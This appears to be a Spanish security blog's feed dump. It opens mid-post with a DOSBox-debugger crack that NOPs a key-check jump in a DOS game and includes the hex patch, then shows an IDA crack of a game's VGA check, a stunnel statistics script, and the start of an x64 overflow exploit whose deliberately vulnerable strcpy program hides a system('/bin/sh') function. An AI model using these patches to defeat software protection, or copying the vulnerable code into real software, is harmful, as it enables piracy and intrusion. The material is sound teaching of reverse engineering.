0B74:0000BB8E 83C402 add sp,0002
0B74:0000BB91 8BC8 mov cx,ax
0B74:0000BB93 8BC7 mov ax,di
0B74:0000BB95 8BDA mov bx,dx
0B74:0000BB97 99 cwd
BP 0B74:0000BB98 3BC8 cmp cx,ax ; ¿CLAVE CORRECTA?
0B74:0000BB9A 7504 jne 0000BBA0 ($+4) (jmp) ; CHICO_MALO
0B74:0000BB9C 3BDA cmp bx,dx ; CHICO_BUENO
0B74:0000BB9E 7411 je 0000BBB1 ($+11) (down) ; CHICO_BUENO</pre>Es la parte de codigo donde se comprueban las claves. Nos encontramos en BP donde se compara la clave introducida con la clave que el juego espera. La linea siguiente "jne 0000BBA0" es el primer chequeo de claves. JNE es chico_malo. Lo anulamos sustituyendo JNE por NOP NOP, es decir, 75 04 por 90 90. El debugger de DOSBox nos permite modificar el codigo en memoria en caliente ya que si puedes cambiar la memoria puedes cambiar el codigo en ejecucion, recuerda: todo lo que se esta ejecutando esta en memoria. Asi:
<pre>SM 0B74:BB9A 90 90</pre>
y veremos que automaticamente el codigo cambia a:
<pre>BP 0B74:0000BB98 3BC8 cmp cx,ax ; ¿CLAVE CORRECTA?
0B74:0000BB9A 90 nop
0B74:0000BB9B 90 nop
0B74:0000BB9C 3BDA cmp bx,dx ; CHICO_BUENO
0B74:0000BB9E 7411 je 0000BBB1 ($+11) (down) ; CHICO_BUENO</pre> Despues de los NOP viene un segundo chequeo de claves. JE es chico_bueno. Para una clave corta se cumple el JE y no seria necesario cambiarlo, pero cuando el usuario introduce una clave con toda la longitud, por ejemplo 555555555555555555 _NO_ se cumple el JE (no saltamos) y el programa considera incorrecta la clave introducida. Como el camino chico_bueno es saltar cambiamos JE por JMP (74 11 por EB 11) y asi saltamos siempre independientemente de la longitud de la clave que introduzcamos. Lo modificamos con otro SM:
<pre>SM 0B74:BB9E EB 11</pre>
Y ahora tenemos:
<pre>BP 0B74:0000BB98 3BC8 cmp cx,ax ; ¿CLAVE CORRECTA?
0B74:0000BB9A 90 nop
0B74:0000BB9B 90 nop
0B74:0000BB9C 3BDA cmp bx,dx ; CHICO_BUENO
0B74:0000BB9E EB11 jmp 0000BBB1 ($+11) (down) ; CHICO_BUENO</pre>
En este punto ya esta crackeado, no importara la clave que introduzcamos, todas seran validas. Volvemos a pulsar F5 (Run) y el programa se parara en el tercer y ultimo breakpoint que pusimos:
<pre>(...)
BP 0B74:00000CEB E85EC0 call FFFFCD4C ($-3fa2) ; CARGAMOS INTRO.DAT Y EMPIEZA EL JUEGO</pre>
Este BP no es necesario para el crackeo pero sirve para mostrar cual es el CALL que carga INTRO.DAT. Es decir que CHARGEN.DAT ha tomado la clave como valida y empieza el juego en si.<br><br> Para hacer el crack permanente, editamos el archivo CHARGEN.DAT con un editor hexadecimal, buscamos una ristra de bytes que contenga los bytes que queremos cambiar y nos aseguramos de que sea unica (si no buscariamos con una cadena mas larga) y lo cambiamos por los nuevos opcodes.
<pre>hexedit CHARGEN.DAT (Ojo! primero hay que desempaquetarlo) y sustituir
3B C8 75 04 3B DA 74 11
por
3B C8 90 90 3B DA EB 11
y guardar cambios.</pre>
Feliz reversing.<br><br> [1] https://www.mediafire.com/file/id5q6tsgfve6ea5/MT2.7z/file<br>[2] <a href="https://github.com/joncampbell123/dosbox-x/releases">https://github.com/joncampbell123/dosbox-x/releases</a><br>[3] <a href="https://bencastricum.nl/unp/">https://bencastricum.nl/unp/</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-84653821633809220492018-12-20T01:36:00.000-08:002021-11-12T11:37:12.214-08:00DOS cracking series I ~ Cracking de un juego DOS con IDA (analisis estatico)Disclaimer: Este articulo es un crack basico de un ejecutable DOS practicamente paso a paso, asi que si sabes de esto no vas a aprender nada, si no sigue leyendo.<br><br> Bien, hice este parche para una gente que queria jugar a este juego y es un ejemplo muy simple de un cracking en la practica: un viejo (1997) juego argentino para msdos llamado Sauro [1] que no arranca en DOSBox. Al cargar SAURO.EXE en DOSBox el programa nos devuelve al DOS con el mensaje "Atencion el sistema necesita una placa VGA valida, instale una. GRACIAS por usar este producto RAL SOFT".<br><br> Comenzamos cambiando en la configuracion de DOSBox la tarjeta grafica que DOSBox presenta al juego y seguimos con el mismo problema, asi que decidimos acudir al debugger.<br><br> El ejecutable SAURO.EXE es un ejecutable de MSDOS, por lo que necesitamos un debugger que pueda leer binarios de DOS. Yo he usado la version free de <a href="https://wiki.scummvm.org/index.php/HOWTO-Reverse_Engineering">IDA 5.0 [2]</a>, ya que versiones free posteriores eliminaron soporte DOS. Manos a la obra.<br><br> Arranco IDA y cargo SAURO.EXE indicando que es un EXE de DOS. Espero unos segundos a que se complete el analisis y como en este caso el codigo no esta empaquetado, ni tiene protecciones antidebug, ni tiene codigo que se modifica a si mismo en tiempo de ejecucion (SMC), ni nada raro, en cuanto IDA termina el analisis tengo ante mi el codigo en ensamblador de SAURO.EXE<br><br> Es muy largo por lo que necesito acotarlo a la seccion que me interesa. Bien, sabemos que al ejecutar SAURO.EXE el programa finaliza y nos devuelve al DOS con el mensaje "Atencion el sistema necesita una placa VGA compatible". Esa cadena esta en algun lado, podria estar en texto claro, o codificada o no estar en SAURO.EXE sino en algun archivo que lee SAURO.EXE, o ser un mensaje que devuelve el S.O., pero por algun sitio tenemos que empezar, la buscamos en IDA y nos encontramos con el siguiente codigo ensamblador: <pre>loc_31DD:<br />push ds<br />push offset aAtencionElSist ; "\nAtencion el sistema necesita una placa"...<br />call sub_1BD5<br />pop cx<br />pop cx<br />push ds<br />push offset aGraciasPorUsar ; "GRACIAS por usar este producto RAL SOFT"...<br />call sub_1BD5<br />pop cx<br />pop cx<br />push 0<br />call sub_261<br />pop cx</pre> loc_31DD: es una etiqueta puesta por IDA porque en algun momento del codigo el flujo de ejecucion nos lleva hasta ahi. Bien, pedimos a IDA que nos muestre desde donde se salta a loc_31DD y el debugger nos muestra esto: <pre>sub_31B9 proc far<br /><br />var_1= byte ptr -1<br /><br />enter 2, 0<br />push 14h<br />call sub_1AED<br />pop cx<br />mov [bp+var_1], al<br />test [bp+var_1], 30h<br />jnz short loc_31DD</pre> Ya viendo esto sabemos que muy probablemente ya lo tenemos y solo necesitariamos invalidar el salto JNZ. Justo antes de llegar al salto condicional JNZ vemos que se compara con un TEST el valor que hay en la direccion de memoria [bp+var_1] con el valor 30 en hexadecimal. Solo si es 30h el TEST devolvera un 0. Luego viene el salto JNZ que dice que si no es 0 (JNZ = Jump if Not Zero) saltamos a loc_31DD, que equivaldria a que el programa no ha detectado una placa VGA valida y finalizaria, que es lo que nos esta pasando.<br><br> Si vemos la funcion sub_1AED a la que llama CALL tenemos esto: <pre>; Attributes: bp-based frame<br /><br />sub_1AED proc far<br /><br />var_1= byte ptr -1<br />arg_0= byte ptr 6<br /><br />enter 2, 0<br />mov dx, 70h ; 'p'<br />mov al, [bp+arg_0]<br />out dx, al ; CMOS Memory:<br /> ; used by real-time clock<br />inc dx<br />in al, dx ; CMOS Memory<br />mov [bp+var_1], al<br />mov al, [bp+var_1]<br />leave<br />retf<br />sub_1AED endp</pre> Esta es la rutina que chequea si tenemos una VGA o compatible y vemos que no llama a la INT de Video de la BIOS (INT_10), sino que se comunica con la CMOS mediante las instrucciones de acceso a puertos IN/OUT. out 70h/in 71h parece no estar correctamente emulado en DOSBox, ya que como vimos en sub_31B9, el juego espera un valor diferente al que le comunica DOSBox, con lo cual acaba saliendo al DOS con el mensaje de que no encuentra VGA valida.<br><br> Para "crackearlo" tenemos al menos dos opciones. Una seria modificar la funcion sub_1AED para que siempre devolviera el valor 30h, que es el que comprueba el TEST que vimos, pero quizas la solucion mas simple y por tanto la mejor seria invalidar el salto jnz short loc_31DD de tal forma que no saltaramos al codigo que nos muestra por pantalla "no hay vga valida" sino que el programa continuara y pudieramos jugar a SAURO.<br><br> Bien, el codigo ensamblador es mas bajo nivel que un lenguaje como C pero aun no es lo que entiende la CPU, la CPU solo entiende de ceros y unos. Y para que los humanos podamos entenderlo un poco mejor representamos los ceros y unos en hexadecimal. Cada instruccion ensamblador se traduce a lo que se conoce como opcodes. Si pedimos a IDA que nos muestre los opcodes al lado de las instrucciones para el salto jnz short y las instrucciones inmediatamente anteriores tenemos: <pre>0BCF call sub_1AED<br />0BD4 pop cx<br />0BD5 mov [bp+var_1], al<br />0BD8 test [bp+var_1], 30h<br />0BDC jnz short loc_31DD</pre> La columna de la izquierda son los opcodes en hexadecimal para cada instruccion (1 opcode=1 byte, 0B es un byte, CF otro byte). El salto JNZ se traduce como los dos bytes en hexadecimal "0B DC". Para invalidar el salto existe una instruccion en ensamblador x86 que es NOP, y simplemente no hace nada, cuando la CPU ejecuta un NOP se consume algun ciclo de cpu pero no hace nada y continua con la siguiente instruccion. El opcode de NOP en arquitectura x86 es 90 en hexadecimal.<br><br> Pues manos al crakeo. Si sustituimos el fragmento de codigo anterior por... <pre>0BCF call sub_1AED<br />0BD4 pop cx<br />0BD5 mov [bp+var_1], al<br />0BD8 test [bp+var_1], 30h<br />90 nop<br />90 nop</pre> ...cuando el programa haga la comprobacion con TEST no importara el resultado de esa comprobacion porque luego ejecutara los dos NOP que siguen y continuara hacia el flujo de ejecucion de que ha encontrado una placa VGA valida, es decir, veremos el juego en si.<br><br> Para parchearlo podemos por ejemplo abrir SAURO.EXE con un editor hexadecimal y buscar la cadena de bytes "0B CF 0B D4 0B D5 0B D8 0B DC", asegurarnos de que sea unica (si no buscariamos con una cadena mas larga) y sustituirla por "0B CF 0B D4 0B D5 0B D8 90 90"<br><br> Y ya estaria crackeado. Digo crackeado porque imagina que en vez de comprobar un valor que devuelve la memoria CMOS el programa estuviera comprobando si la clave que has puesto es valida o no. La logica seria la misma o muy similar, invalidar el salto hacia chico_malo para que siempre siguiera el flujo de ejecucion por el camino chico_bueno.<br><br> Este era un ejemplo simple: no empaquetado, no SMC, no antidebugging, nada, solo anular un salto, pero puede complicarse y mucho y ahi pues paciencia y determinacion.<br><br> No es necesario conocer todas las instrucciones ensamblador, aunque cuanto mas mejor. Saber como el sistema operativo en que nos movemos maneja la memoria, pila, interrupciones, BIOS, acceso a ficheros, etc es mas necesario que conocer todas las instrucciones ASM, pero lo mas importante de todo es tener claro el flujo de ejecucion del programa. Una vision global y no dejar de aprender.<br><br>¿Quieres practicar? bien, te contare un pequeño secreto: busca en la red PC Futbols /Baskets /Futbol Argentina... antiguos sin desproteger, y hasta la version 4 aprox, todos son iguales y se pueden desproteger en menos de un minuto aplicando lo aprendido en esta entrada. La rutina de proteccion es clavada, pero clavada en todos ellos y se puede localizar rapidamente en IDA o desensamblador similar. Malditos vagos, roto uno rotos todos ;/<br><br>Busca como hacer en IDA las cosas que he explicado y sigue tu camino.<br><br>Feliz reversing.<br><br> [1] Sauro https://www.mediafire.com/file/nyvd996o90ty107/SAURO.7z/file<br>[2] IDA 5.0 free <a href="https://wiki.scummvm.org/index.php/HOWTO-Reverse_Engineering">https://wiki.scummvm.org/index.php/HOWTO-Reverse_Engineering</a><br>[+] HOW TO CRACK, by +ORC, A TUTORIAL <a href="https://zen7.vlan7.org/file-cabinet/howtocrk_.txt">https://zen7.vlan7.org/file-cabinet/howtocrk_.txt</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-77580240780466430792014-03-30T07:51:00.000-07:002021-11-12T11:21:47.512-08:00Exploiting para niños [revised]Disclaimer: los textos de exploiting antiguos podrian tener info inexacta o/y erronea.<br><br>Hola Exploiters,<br><br>Llevo unos dias revisando un documento que llevaba ya demasiado tiempo dormido y este es el resultado.<br><br>Se que el enfoque puede parecerle extraño a algunas personas, pero ese es el estilo que he querido darle, y ademas, el titulo del documento me sirve como la excusa perfecta para ponerme a escribir y que mi propia ignorancia no sea un estorbo, sin falsa modestia, todos ignoramos algo.<br><br>He intentado que no hubiera cosas incorrectas en el texto. Lo de siempre, cualquier comentario al respecto es bienvenido.<br><br>No os cuento nada nuevo si os digo que una vez pasados los 90, el mundo del Exploiting ha estado fuertemente marcado por el eterno juego del gato y el raton y que hasta ahora los Exploiters no han dejado de darle emocion a la carrera y se han mantenido en su sitio siempre desplazando la meta hacia adelante.<br><br>Quien sabe si alguien algun dia lograra inmovilizar la meta definitivamente. Por el bien comun de la diversion esperemos que ese dia este muy lejano.<br><br>Aunque tal y como estan desarrollandose los acontecimientos en el mundo, cada vez parece menos descabellado pensar que todo va a explotar pronto de todas formas, pero antes de que ocurra vamos a disfrutar, por si acaso, y si al final esto no explota, nos habremos divertido por el camino. <a href="https://zen7.vlan7.org/file-cabinet/ROP.pdf">Exploiting para niños</a> pues.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-72350139994022344452013-08-24T03:05:00.000-07:002021-11-11T02:12:41.366-08:00Elevacion de privilegios en Debian y derivadas<iframe width="640" height="360" src="https://yewtu.be/embed/GCXVMQ9pGvc" frameborder="0" allowfullscreen></iframe><br><br>More info: <a href="http://unaaldia.hispasec.com/2013/08/elevacion-de-privilegios-en-debian-y.html"><b>http://unaaldia.hispasec.com/2013/08/elevacion-de-privilegios-en-debian-y.html</b></a>Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-2887913708208960400.post-21763426156898643202013-08-06T10:10:00.000-07:002021-11-11T02:12:13.524-08:00Linux Heap Exploiting Revisited<iframe width="640" height="360" src="https://yewtu.be/embed/41pVThpiE3M" frameborder="0" allowfullscreen></iframe><br><br>Aupa ahi mr heap!<br><br><i>"lo que vamos a suponer es... que ocurre si nosotros pudieramos controlar el contenido del puntero forward y del puntero backward..."</i><br><br>A partir de ahi la creme de la creme amigo... Keep on rockin' y haxta otra :)Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-2887913708208960400.post-43215502728057313032013-06-15T17:09:00.000-07:002021-11-11T02:11:34.768-08:00Basic UDP session Hijacking with ScapyAsk him no questions he'll tell you no lies<br>That's why a rocker never dies<br>He's the rocker ♪♪<br>Cockney Rejects - The Rocker<br /><br /><iframe width="640" height="360" src="https://yewtu.be/embed/q1tyq8IUzpY" frameborder="0" allowfullscreen></iframe>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-2887913708208960400.post-63568779798610255802013-02-23T02:49:00.000-08:002021-05-30T12:46:44.646-07:00Tonel - basic stats&checks for stunnelUn script que extrae estadisticas de conexiones POP/IMAP tunelizadas a traves de stunnel.<br><br>Este script hace tareas primitivas que siempre se repiten de un script a otro: parseo de logs, control de errores, regexps, etc etc asi que si alguien quiere aportar formas mejores de hacer las cosas... oh wait, perl XD es bienvenido.<br><br>Sample output <a href="https://archive.org/stream/TonelOutput/tonel_output.txt"><b>HERE</b></a><br><br>Happy coding!! <pre>#!/bin/bash<br /># script to get some useful POP/IMAP stats<br /><br />TMPLOGFILE=$(mktemp -t stunnel.log-$$.$RANDOM)<br />TMPIPT_LOGFILE=$(mktemp -t iptables.log-$$.$RANDOM)<br />cleanup() {<br /> [ -f $TMPLOGFILE ] && rm $TMPLOGFILE<br /> [ -f $TMPIPT_LOGFILE ] && rm $TMPIPT_LOGFILE<br /> trap 0<br /> exit<br />}<br />trap cleanup 0 1 2 3 15<br /><br />warn () {<br /> echo -e "$@"<br />}<br /><br />die() {<br /> RC=$1 ; shift<br /> warn "$@"<br /> exit $RC<br />}<br /><br />BANNER="Tonel ~ Basic stats&checks for stunnel / vlan7"<br />MY_NAME=${0##*/} #ie: tonel.sh<br />LOGFILE=/var/log/stunnel.log<br />#ROOT_UID=0<br />VERBOSE=0<br />IPT_PREFIX="POP/IMAP FLOOD"<br />IPT_LOGFILE=/var/log/iptables.log<br />BANNED_DBFILE=/proc/net/ipt_recent/BANNED<br />#FLOODERS_DBFILE=/proc/net/ipt_recent/FLOOD<br /><br />TODAY=$(date +%u)<br /><br />if [ $TODAY -eq 1 ]<br />then<br /># Today is Monday<br /> BEGIN_DATE="$(date -dmonday-7days +%Y.%m.%d)"<br /> END_DATE="$(date -dmonday +%Y.%m.%d)"<br /> WRITE_END_DATE="$(date -dmonday-1day +%Y.%m.%d)" #dirty hack<br /><br /> BEGIN_IPT_DATE="$(date -dmonday-7days +"%b %e")"<br /> END_IPT_DATE="$(date -dmonday +"%b %e")"<br /> WRITE_END_IPT_DATE="$(date -dmonday-1day +"%b %e")" #dirty hack<br />else<br /> BEGIN_DATE="$(date -dlast-monday-7days +%Y.%m.%d)"<br /> END_DATE="$(date -dlast-monday +%Y.%m.%d)"<br /> WRITE_END_DATE="$(date -dlast-monday-1day +%Y.%m.%d)" #dirty hack<br /><br /> BEGIN_IPT_DATE="$(date -dlast-monday-7days +"%b %e")"<br /> END_IPT_DATE="$(date -dlast-monday +"%b %e")"<br /> WRITE_END_IPT_DATE="$(date -dlast-monday-1day +"%b %e")" #dirty hack<br />fi<br /><br /># Run as root, of course.<br />#[ "$UID" -eq "$ROOT_UID" ] || die 1 "Bad luck, only root can run this code!"<br /><br />echo -e "$BANNER"<br /><br /># Parse arguments<br />while getopts "vhHf:d:" opt; do<br /> case $opt in<br /> v)<br /> echo -e "\n[+] -v detected. Ok, let's verbose!"<br /> VERBOSE=1<br /> ;;<br /> h)<br /> echo -e "\n-v verbose output"<br /> echo -e "\n-f <logfile> specify your stunnel logfile DEFAULT=$LOGFILE"<br /> echo -e "\n-d <YYYYMMDD+DAYS> (Up to 9999 days) (DEFAULT=one week ago starting last monday)"<br /> echo -e "\n-h Welcome to help"<br /> echo -e "\n-H Help: Long description"<br /> exit<br /> ;;<br /> H)<br /> echo -e "\nEl script acepta varios switches. Esto es la ayuda larga. La ayuda corta es -h"<br /> echo -e "\nEsta desarrollado de tal forma que sin ningun parametro, calcula estadisticas de toda la semana anterior a la que nos encontramos. Es totalmente transparente al dia actual, sea lunes, jueves, domingo o cualquier dia."<br /> echo -e "\nEs decir, si estamos en cualquier dia de la semana del 4 al 10-2-2013, asi calcula estadisticas del 28-1-2013 al 3-2-2013, ambos inclusive:"<br /> echo -e "\n\tbash $MY_NAME"<br /> echo -e "\nSi necesitamos especificar rangos seria:"<br /> echo -e "\n\tbash $MY_NAME -d 20130114+15"<br /> echo -e "\nAsi calcularia desde 20130114 hasta 20130129, ambos inclusive"<br /> echo -e "\nSi deseamos especificar el archivo de log de stunnel (por defecto $LOGFILE), el script permite que le pasemos el switch -f seguido del archivo de log deseado."<br /> echo -e "\nSi deseamos mas nivel de Verbose, podemos pasar al script el parametro -v"<br /> exit<br /> ;;<br /> f)<br /> echo -e "\n[+] -f detected so logfile is now $OPTARG"<br /> LOGFILE=$OPTARG<br /> ;;<br /> d)<br /> DATE=${OPTARG:0:8}<br /> INC_OR_DEC=${OPTARG:8:1}<br /> DAYS=${OPTARG:9:4}<br /><br /> # Basic parse of -d argument<br /> # Valid $DATE basic regexp!<br /> [[ $DATE =~ ^[1-9][0-9][0-9][0-9](0[1-9]|1[012])(0[1-9]|[12][0-9]|3[01]) ]] || die 2 "ERROR! $DATE date detected. Must be YYYYMMDD format! Exiting now..."<br /> # $INC_OR_DEC Only + implemented<br /> [ "$INC_OR_DEC" == "+" ] || die 3 "ERROR! $INC_OR_DEC inc_char detected. Must be +"<br /><br /> BEGIN_DATE="$(date -d $DATE +%Y.%m.%d)"<br /> END_DATE="$(date -d $DATE$INC_OR_DEC$[ $DAYS + 1 ]"days" +%Y.%m.%d)"<br /> WRITE_END_DATE="$(date -d $DATE$INC_OR_DEC$DAYS"days" +%Y.%m.%d)" #dirty hack<br /><br /> BEGIN_IPT_DATE="$(date -d $DATE +"%b %e")"<br /> END_IPT_DATE="$(date -d $DATE$INC_OR_DEC$[ $DAYS + 1 ]"days" +"%b %e")"<br /> WRITE_END_IPT_DATE="$(date -d $DATE$INC_OR_DEC$DAYS"days" +"%b %e")" #dirty hack<br /><br /># DEBUG line-<br /># echo "#DATE#$DATE#INC_ORD_DEC#$INC_OR_DEC#DAYS#$DAYS#BEGIN_DATE#$BEGIN_DATE#END_DATE#$END_DATE#WRITE_END_DATE#$WRITE_END_DATE#BEGIN_IPT_DATE#$BEGIN_IPT_DATE#END_IPT_DATE#$END_IPT_DATE#WRITE_END_IPT_DATE#$WRITE_END_IPT_DATE<<EOL"<br /> echo -e "\n[+] -d detected so date range is now\n\t[from $BEGIN_DATE to $WRITE_END_DATE]"<br /> ;;<br /> esac<br />done<br /><br />[ -f "$LOGFILE" ] && echo -e "\n[+] Log $LOGFILE starts on $(head -n 1 $LOGFILE |cut -d" " -f1,2)"<br />[ -f "$IPT_LOGFILE" ] && echo -e "\n[+] Log $IPT_LOGFILE starts on $(head -n 1 $IPT_LOGFILE |awk '{print $1,$2,$3}')"<br /><br />echo -e "\n\t\t\t[+] [+] Now running some basic checks..."<br />echo -e "\t\t\t======================================"<br />echo -e "\n[+] Checking runnin' stunnel processes..."<br />ps -ef |grep [s]tunnel |grep -v $MY_NAME || die 4 "ERROR! stunnel is NOT running! Exiting now..."<br />echo -e "\n\t[OK!] Let's continue..."<br /><br />echo -e "\n[+] Checking stunnel LISTEN sockets..."<br />##netstat -tnl |grep LISTEN |egrep ':110|:143|:993|:995'<br />##lsof -iTCP:143 -iTCP:110 -iTCP:993 -iTCP:995<br />lsof -iTCP:143 |grep LISTEN || die 5 "ERROR! IMAP is NOT listening! Exiting now..."<br />lsof -iTCP:110 |grep LISTEN || die 6 "ERROR! POP3 is NOT listening! Exiting now..."<br />lsof -iTCP:993 |grep LISTEN || die 7 "ERROR! IMAPS is NOT listening! Exiting now..."<br />lsof -iTCP:995 |grep LISTEN || die 8 "ERROR! POP3S is NOT listening! Exiting now..."<br /><br />echo -e "\n\t[OK!] Let's continue..."<br /><br />echo -e "\n\t\t\t[+] [+] Now parsing logfile [$LOGFILE] ..."<br />echo -e "\t\t\t==========================================="<br />[ -f "$LOGFILE" ] || die 9 "Fatal ERROR! log $LOGFILE NOT found. Exiting now..."<br /><br />#BUFFER=$(awk '{ if ( $0 > "'"$BEGIN_DATE"'" && $0 < "'"$END_DATE"'" ) print $0 }' $LOGFILE)<br />#echo "$BUFFER" # note the "" to respect \n chars<br /><br />awk '{ if ( $0 > "'"$BEGIN_DATE"'" && $0 < "'"$END_DATE"'" ) print $0 }' $LOGFILE >$TMPLOGFILE<br />OUTTAGES=$(egrep -oc "Received signal| stunnel " $TMPLOGFILE)<br />echo -e "\n[+] stunnel outtages [from $BEGIN_DATE to $WRITE_END_DATE]: [$OUTTAGES]"<br />[ $OUTTAGES -ne 0 ] && [ $VERBOSE -ne 0 ] && echo -e "\t[+] Daemon stops:\n\t\t$(grep "Received signal" $TMPLOGFILE)"<br />[ $OUTTAGES -ne 0 ] && [ $VERBOSE -ne 0 ] && echo -e "\t[+] Daemon starts:\n\t\t$(grep " stunnel " $TMPLOGFILE)"<br /><br />core() {<br /> echo -e "\n[+] Numero conexiones $1 OK / IP origen: [from $BEGIN_DATE to $WRITE_END_DATE]"<br /> CORE_TOTAL=$(grep -c "$1 connected from" $TMPLOGFILE)<br /> [ $CORE_TOTAL -ne 0 ] && grep "$1 connected from" $TMPLOGFILE |cut -d" " -f7 |cut -d":" -f1 |sort |uniq -c |sort -rn |sed -e 's/^[ ]*//' |awk '{print NR, $0}' |tr ' ' \\t<br /> echo -e "\n\t[+] Total conexiones: [$CORE_TOTAL]"<br /> [ $CORE_TOTAL -ne 0 ] && [ $VERBOSE -ne 0 ] && echo -e "\t[+] Primera conexion:\n\t\t$(grep "$1 connected from" $TMPLOGFILE |head -n 1 |cut -d" " -f1,2,4-7)"<br /> [ $CORE_TOTAL -ne 0 ] && echo -e "\t[+] Ultima conexion:\n\t\t$(grep "$1 connected from" $TMPLOGFILE |tail -n 1 |cut -d" " -f1,2,4-7)"<br />}<br /><br />CONNS_TOTAL=0<br />core "IMAP" ; CONNS_TOTAL=$(($CONNS_TOTAL+$CORE_TOTAL))<br />core "POP3" ; CONNS_TOTAL=$(($CONNS_TOTAL+$CORE_TOTAL))<br />core "IMAPS" ; CONNS_TOTAL=$(($CONNS_TOTAL+$CORE_TOTAL))<br />core "POP3S" ; CONNS_TOTAL=$(($CONNS_TOTAL+$CORE_TOTAL))<br />echo -e "\n[+] Total conexiones (IMAP && POP3 && IMAPS && POP3S): [$CONNS_TOTAL]"<br /><br />echo -e "\n\t\t\t[+] [+] Now checking bad guys..."<br />echo -e "\t\t\t===================================="<br /><br /># Code below relays on Wietse's TCP-Wrappers<br />echo -e "\n[+] NO autorizados: Conexiones rechazadas / IP origen [from $BEGIN_DATE to $WRITE_END_DATE]"<br />REFUSED_TOTAL=$(grep -c "REFUSED" $TMPLOGFILE)<br />[ $REFUSED_TOTAL -ne 0 ] && grep REFUSED $TMPLOGFILE |cut -d" " -f6 |cut -d":" -f1 |sort |uniq -c |sort -rn |sed -e 's/^[ ]*//' |awk '{print NR, $0}' |tr ' ' \\t<br />echo -e "\n\t[+] Total conexiones rechazadas (NO autorizados): [$REFUSED_TOTAL]\n"<br /><br /># Code below relays on some anti-DoS custom iptables rules<br />echo -e "\n[+] POP/IMAP FLOODERS: Conexiones rechazadas / IP origen [from $BEGIN_IPT_DATE to $WRITE_END_IPT_DATE]"<br />[ -f $IPT_LOGFILE ] || warn "[!] WARNING! $IPT_LOGFILE NOT found! Skipping this test and continuing anyway..."<br />[ -f $IPT_LOGFILE ] && awk '{ if ( $0 > "'"$BEGIN_IPT_DATE"'" && $0 < "'"$END_IPT_DATE"'" ) print $0 }' $IPT_LOGFILE >$TMPIPT_LOGFILE<br />[ -f $IPT_LOGFILE ] && FLOODERS_TOTAL=$(grep -c "$IPT_PREFIX" $TMPIPT_LOGFILE)<br />[ -f $IPT_LOGFILE ] && [ $FLOODERS_TOTAL -ne 0 ] && grep "$IPT_PREFIX" $TMPIPT_LOGFILE |grep -Eo "SRC=[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" |cut -d= -f2 |sort |uniq -c |sort -rn |sed -e 's/^[ ]*//' |awk '{print NR, $0}' |tr ' ' \\t<br />echo -e "\n\t[+] Total conexiones rechazadas (FLOODERS): [$FLOODERS_TOTAL]\n"<br /><br />echo -e "\n[+] FLOODERS actualmente BANEADOS [dbfile $BANNED_DBFILE]"<br />[ -f $BANNED_DBFILE ] || warn "[!] WARNING! $BANNED_DBFILE NOT found! Skipping this test and continuing anyway..."<br />[ -f $BANNED_DBFILE ] && BANNED_TOTAL=$(cat $BANNED_DBFILE |wc -l)<br />[ -f $BANNED_DBFILE ] && [ $BANNED_TOTAL -ne 0 ] && cut -d" " -f1 $BANNED_DBFILE |cut -d= -f2<br />echo -e "\n\t[+] Total IPs actualmente BANEADAS: [$BANNED_TOTAL]\n"<br /><br />PATH_TO_ME=${0}<br />FULL_ARGS=${@}<br />echo -e "\nLast run on $(hostname) at $(date) with\n$PATH_TO_ME $FULL_ARGS\nNow exiting - Have a nice day...\n"<br />[ $VERBOSE -eq 0 ] && echo -e "Do you wanna verbose output? just rerun me with -v switch!\n"<br /><br />exit 0</pre>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-79095740635258824192013-02-04T15:06:00.000-08:002021-05-30T12:46:44.803-07:00Publicada lista de ponentes RootedCON 2013Sábado 9 de marzo<br>16:30 - 17:20 Albert López<br><a href="http://foro.overflowedminds.net/viewtopic.php?f=32&p=1353"><b>Linux Heap Exploiting Revisited</b></a><br><br><a href="http://www.rootedcon.es/index.php/agenda/"><b>et al.</b></a><br><br><a href="http://www.rootedcon.es/index.php/ponencias/"><b>Ponencias</b></a> y <a href="http://www.rootedcon.es/index.php/ponentes/"><b>ponentes</b></a>.<br><br><i>We're all pioneers. And we're all surrounded by heroes</i> -Joe BarrUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-30167324349422306212013-01-21T16:31:00.000-08:002021-11-12T11:20:48.865-08:00En un linux/x64 con NX+ASLR activo, ¿existen zonas de memoria no protegidas?Disclaimer: los textos de exploiting antiguos podrian tener info inexacta o/y erronea.<br><br>Hola Exploiters,<br><br>Llevaba un tiempo queriendo escribir sobre como un overflow puede permitirnos (with no shellcodes!) movernos por los flujos del codigo de un programa (previstos o no) asi que aqui van cosas como que NX no afecta si queremos desviar el flujo del programa hacia por ejemplo una funcion perteneciente al propio programa a explotar, que podemos llegar a ejecutar partes del programa que no deberiamos (password incorrecto? no problem, just let me in anyway).<br><br>Es una explotacion en un sistema Linux de 64 bits con kernel reciente blablabla y como veis existen condiciones en las que ASLR no afecta para nada (no infoleaks needed, no bruteforce needed... como si no existiera). A disfrutar. <pre>### Some versions<br />root@bt:~# uname -a<br />Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux<br /><br />### 64 bits S.O.<br />root@bt:~# getconf LONG_BIT<br />64<br /><br />### Full ASLR<br />root@bt:~# cat /proc/sys/kernel/randomize_va_space <br />2<br /><br />### ASLR + NX<br />root@bt:~# bash checksec.sh --file vuln<br />RELRO STACK CANARY NX PIE RPATH RUNPATH FILE<br />Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln<br /><br />### Code<br />root@bt:~# cat vuln.c<br />#include <stdio.h><br />#include <stdlib.h><br />#include <string.h><br /> <br />// gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4 #4 is min on x64<br /> <br />void nunca_se_ejecuta()<br />/* NUNCA SE LLAMA A ESTA FUNCION EN EL CODIGO */<br />/* call me if you can */<br />{<br /> system("/bin/sh");<br /> printf("SIGSEGV");<br />}<br /> <br />void vuln(char *buff)<br />{<br /> char tmp[8] = {'\0'};<br /> <br /> strcpy(tmp, buff);<br /> printf("-> %sn", tmp);<br />}<br /> <br />int main(int argc, char *argv[])<br />{<br /> if(argc != 2) {<br /> printf("%s <arg>n", argv[0]);<br /> exit(0);<br /> 